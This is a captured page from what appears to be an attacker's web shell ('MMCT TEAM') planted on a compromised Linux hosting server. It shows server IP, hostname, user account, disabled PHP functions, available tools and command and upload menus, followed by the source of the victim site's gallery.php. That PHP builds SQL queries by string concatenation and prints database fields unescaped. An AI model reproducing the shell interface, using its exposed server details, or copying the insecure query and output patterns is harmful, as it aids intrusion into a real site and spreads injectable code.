MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/bmtrust.org.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/bmtrust.org.in/gallery.php
<?php include("include/header.php");
    //$row=mysqli_fetch_assoc(mysqli_query($con,"select * from management order by id desc limit 1"));
    //$doc=$row['pdf'];
?>
		<div class="cbp-row wh-page-title-bar">
			<div class="cbp-container">
				<div class="one whole wh-padding wh-page-title-wrapper">
					<h1 class="page-title">Our Gallery</h1>
				</div>
			</div>
		</div>
		<div class="cbp-row wh-content">
			<div class="cbp-container">
				<div class="three fourths wh-padding wh-content-inner">
    			    
						<div class="vc_column-inner vc_custom_1572522067106">
							<div class="wpb_wrapper">
								<div class="vc_row wpb_row vc_inner vc_row-fluid">
								    <?php
								        $galleryQ=mysqli_query($con,"select * from gallery order by id desc limit 6");
								        while($galleryR=mysqli_fetch_assoc($galleryQ)){
								            $image=mysqli_fetch_assoc(mysqli_query($con,"select image from image_of_gallery where gallery_id=".$galleryR['id']))['image'];
								    ?>
								    <a href="image_of_gallery.php?csrf=<?=$galleryR['id'];?>">
    									<div class="wpb_column vc_column_container vc_col-sm-4">
    										<div class="vc_column-inner vc_custom_1572522512201">
    											<div class="wpb_wrapper">
    												<div  class="wpb_single_image wpb_content_element vc_align_left  wpb_animate_when_almost_visible wpb_left-to-right left-to-right vc_custom_1573190854812">
    													<figure class="wpb_wrapper vc_figure">
    														<div class="vc_single_image-wrapper   vc_box_border_grey"><img width="100%" height="163px" src="admin/images/<?=$image;?>" class="vc_single_image-img attachment-full" alt="" /></div>
    													</figure>
    												</div>
    												<div class="wpb_text_column wpb_content_element  vc_custom_1572521771978" >
    													<div class="wpb_wrapper">
    														<p><?=$galleryR['name'];?></p>
    													</div>
    												</div>
    											</div>
    										</div>
    									</div>
									</a>
									<?php
									    }
									?>
								</div>
							</div>
						
					</div>
    			</div>
				<div class="wh-sidebar one fourth wh-padding">
					<div class="widget recent-posts-4 widget_recent_entries">
						<h5 class="widget-title">Recent News</h5>
						<ul>
						    <?php
						        $newsQ=mysqli_query($con,"select * from news order by id desc limit 5");
						        while($newsR=mysqli_fetch_assoc($newsQ)){
						    ?>
							<li>
								<a href="news.php?csrf=<?=$newsR['id'];?>"><?=$newsR['subject'];?></a>
							</li>
							<?php
							    }
							?>
						</ul>
					</div>
				</div>
			</div>
		</div>
		<?php include("include/footer.php");?>

MMCT - 2023